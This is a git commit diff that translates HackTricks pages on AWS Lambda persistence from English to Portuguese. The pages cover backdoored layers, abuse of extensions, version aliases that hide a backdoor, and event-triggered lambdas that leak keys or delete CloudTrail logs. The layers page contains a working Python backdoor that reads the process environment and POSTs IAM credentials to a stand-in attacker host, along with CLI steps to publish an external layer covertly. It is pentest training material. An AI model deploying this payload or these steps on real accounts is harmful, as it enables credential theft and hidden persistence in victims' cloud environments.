Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:11:38 +00:00
parent ea97a1362c
commit 427eda5e4b
245 changed files with 10192 additions and 12906 deletions

View File

@@ -1,68 +1,64 @@
# AWS - Lambda Persistence
# AWS - Persistência do Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
For more information check:
Para mais informações, consulte:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Layer Persistence
### Persistência da Camada do Lambda
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
É possível **introduzir/backdoor uma camada para executar código arbitrário** quando o lambda é executado de forma furtiva:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Extension Persistence
### Persistência da Extensão do Lambda
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
Abusando das Camadas do Lambda, também é possível abusar das extensões e persistir no lambda, mas também roubar e modificar solicitações.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### Via resource policies
### Via políticas de recursos
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
É possível conceder acesso a diferentes ações do lambda (como invocar ou atualizar código) a contas externas:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
### Versões, Aliases & Pesos
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
Um Lambda pode ter **diferentes versões** (com código diferente em cada versão).\
Então, você pode criar **diferentes aliases com diferentes versões** do lambda e definir pesos diferentes para cada um.\
Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **versão 2 com apenas o código legítimo** e **executar apenas a versão 1 em 1%** das solicitações para permanecer furtivo.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
### Backdoor de Versão + API Gateway
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
1. Copie o código original do Lambda
2. **Crie uma nova versão backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
1. Chame o API gateway relacionado ao lambda para executar o código
3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST.
1. Isso ocultará o código com backdoor em uma versão anterior
4. Vá para o API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão com backdoor do lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Observe o final :1 do arn **indicando a versão da função** (a versão 1 será a com backdoor neste cenário).
5. Selecione o método POST criado e em Ações selecione **`Implantar API`**
6. Agora, quando você **chamar a função via POST, seu Backdoor** será invocado
### Cron/Event actuator
### Ativador Cron/Event
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando algum tempo passa** torna o lambda uma maneira agradável e comum de obter persistência e evitar detecção.\
Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
- Sempre que um novo usuário é criado, o lambda gera uma nova chave de usuário e a envia para o atacante.
- Sempre que um novo papel é criado, o lambda concede permissões de assumir papel a usuários comprometidos.
- Sempre que novos logs do cloudtrail são gerados, exclua/alterar eles.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,46 +1,42 @@
# AWS - Abusing Lambda Extensions
# AWS - Abusando de Extensões Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Extensions
## Extensões Lambda
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando camadas Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
- **Extensões internas** se fundem com o processo de tempo de execução, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts de wrapper**. Essa personalização se aplica a uma variedade de tempos de execução, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
- **Extensões externas** são executadas como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários tempos de execução, como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **tempos de execução personalizados**.
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
Para mais informações sobre [**como as extensões lambda funcionam, consulte a documentação**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### External Extension for Persistence, Stealing Requests & modifying Requests
### Extensão Externa para Persistência, Roubo de Requisições e Modificação de Requisições
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Este é um resumo da técnica proposta neste post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Foi descoberto que o kernel Linux padrão no ambiente de execução Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e gravação à memória heap do Rapid, por design.**
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Além disso, enquanto as extensões Lambda têm a capacidade de **se inscrever em eventos de invocação**, a AWS não revela os dados brutos para essas extensões. Isso garante que **as extensões não podem acessar informações sensíveis** transmitidas via a requisição HTTP.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de tempo de execução, mas após o Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o número da **porta** da API Rapid para **processos de tempo de execução filhos** e extensões adicionais.
> [!WARNING]
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do tempo de execução Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
Como **as extensões são executadas antes de qualquer código de tempo de execução**, modificar a variável de ambiente influenciará o processo de tempo de execução (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de tempo de execução.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **gravação de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
## References
## Referências
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,82 +1,75 @@
# AWS - Lambda Layers Persistence
# AWS - Persistência de Camadas Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Layers
## Camadas Lambda
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
Uma camada Lambda é um arquivo .zip que **pode conter código adicional** ou outro conteúdo. Uma camada pode conter bibliotecas, um [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dados ou arquivos de configuração.
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
É possível incluir até **cinco camadas por função**. Quando você inclui uma camada em uma função, o **conteúdo é extraído para o diretório `/opt`** no ambiente de execução.
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
Por **padrão**, as **camadas** que você cria são **privadas** à sua conta AWS. Você pode optar por **compartilhar** uma camada com outras contas ou **tornar** a camada **pública**. Se suas funções consumirem uma camada que uma conta diferente publicou, suas funções podem **continuar a usar a versão da camada após ela ter sido excluída, ou após sua permissão para acessar a camada ser revogada**. No entanto, você não pode criar uma nova função ou atualizar funções usando uma versão de camada excluída.
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
Funções implantadas como uma imagem de contêiner não usam camadas. Em vez disso, você empacota seu runtime preferido, bibliotecas e outras dependências na imagem do contêiner ao construir a imagem.
### Python load path
The load path that Python will use in lambda is the following:
### Caminho de carregamento do Python
O caminho de carregamento que o Python usará na lambda é o seguinte:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
Verifique como as **segundas** e **terceiras** **posições** são ocupadas por diretórios onde **lambda layers** descompactam seus arquivos: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`**
> [!CAUTION]
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
> Se um atacante conseguir **backdoor** uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação da lambda.
Therefore, the requisites are:
Portanto, os requisitos são:
- **Check libraries** that are **loaded** by the victims code
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
- **Verificar bibliotecas** que são **carregadas** pelo código das vítimas
- Criar uma **biblioteca proxy com lambda layers** que irá **executar código personalizado** e **carregar a biblioteca original**.
### Preloaded libraries
### Bibliotecas pré-carregadas
> [!WARNING]
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no tempo de execução do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\
> Para abusar dessa técnica de persistência, o código precisa **carregar uma nova biblioteca que não esteja carregada** quando o código é executado.
Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do tempo de execução do python na lambda:
```python
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
And this is the **list** (check that libraries like `os` or `json` are already there)
E esta é a **lista** (verifique se bibliotecas como `os` ou `json` já estão lá)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
E esta é a lista de **bibliotecas** que **lambda inclui instaladas por padrão**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
### Backdooring de Camada Lambda
### Lambda Layer Backdooring
Neste exemplo, vamos supor que o código alvo está importando **`csv`**. Vamos **backdoor a importação da biblioteca `csv`**.
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
Para fazer isso, vamos **criar o diretório csv** com o arquivo **`__init__.py`** nele em um caminho que é carregado pelo lambda: **`/opt/python/lib/python3.9/site-packages`**\
Então, quando o lambda for executado e tentar carregar **csv**, nosso **arquivo `__init__.py` será carregado e executado**.\
Este arquivo deve:
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
This file must:
- Execute our payload
- Load the original csv library
We can do both with:
- Executar nosso payload
- Carregar a biblioteca csv original
Podemos fazer ambos com:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
Então, crie um zip com este código no caminho **`python/lib/python3.9/site-packages/__init__.py`** e adicione-o como uma camada lambda.
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
Você pode encontrar este código em [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
O payload integrado **enviará as credenciais IAM para um servidor NA PRIMEIRA VEZ que for invocado ou APÓS um reset do contêiner lambda** (mudança de código ou lambda fria), mas **outras técnicas** como as seguintes também poderiam ser integradas:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
### External Layers
### Camadas Externas
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
Also note that the **max number of layers a lambda can have is 5**.
Note que é possível usar **camadas lambda de contas externas**. Além disso, uma lambda pode usar uma camada de uma conta externa mesmo que não tenha permissões.\
Também note que o **número máximo de camadas que uma lambda pode ter é 5**.
Therefore, in order to improve the versatility of this technique an attacker could:
- Backdoor an existing layer of the user (nothing is external)
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- The victim **won't see external layers** used with **`aws lambda list-layers`**
Portanto, para melhorar a versatilidade desta técnica, um atacante poderia:
- Backdoor uma camada existente do usuário (nada é externo)
- **Criar** uma **camada** em **sua conta**, dar **acesso à conta da vítima** para usar a camada, **configurar** a **camada** na Lambda da vítima e **remover a permissão**.
- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá nenhuma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda)
- A vítima **não verá camadas externas** usadas com **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}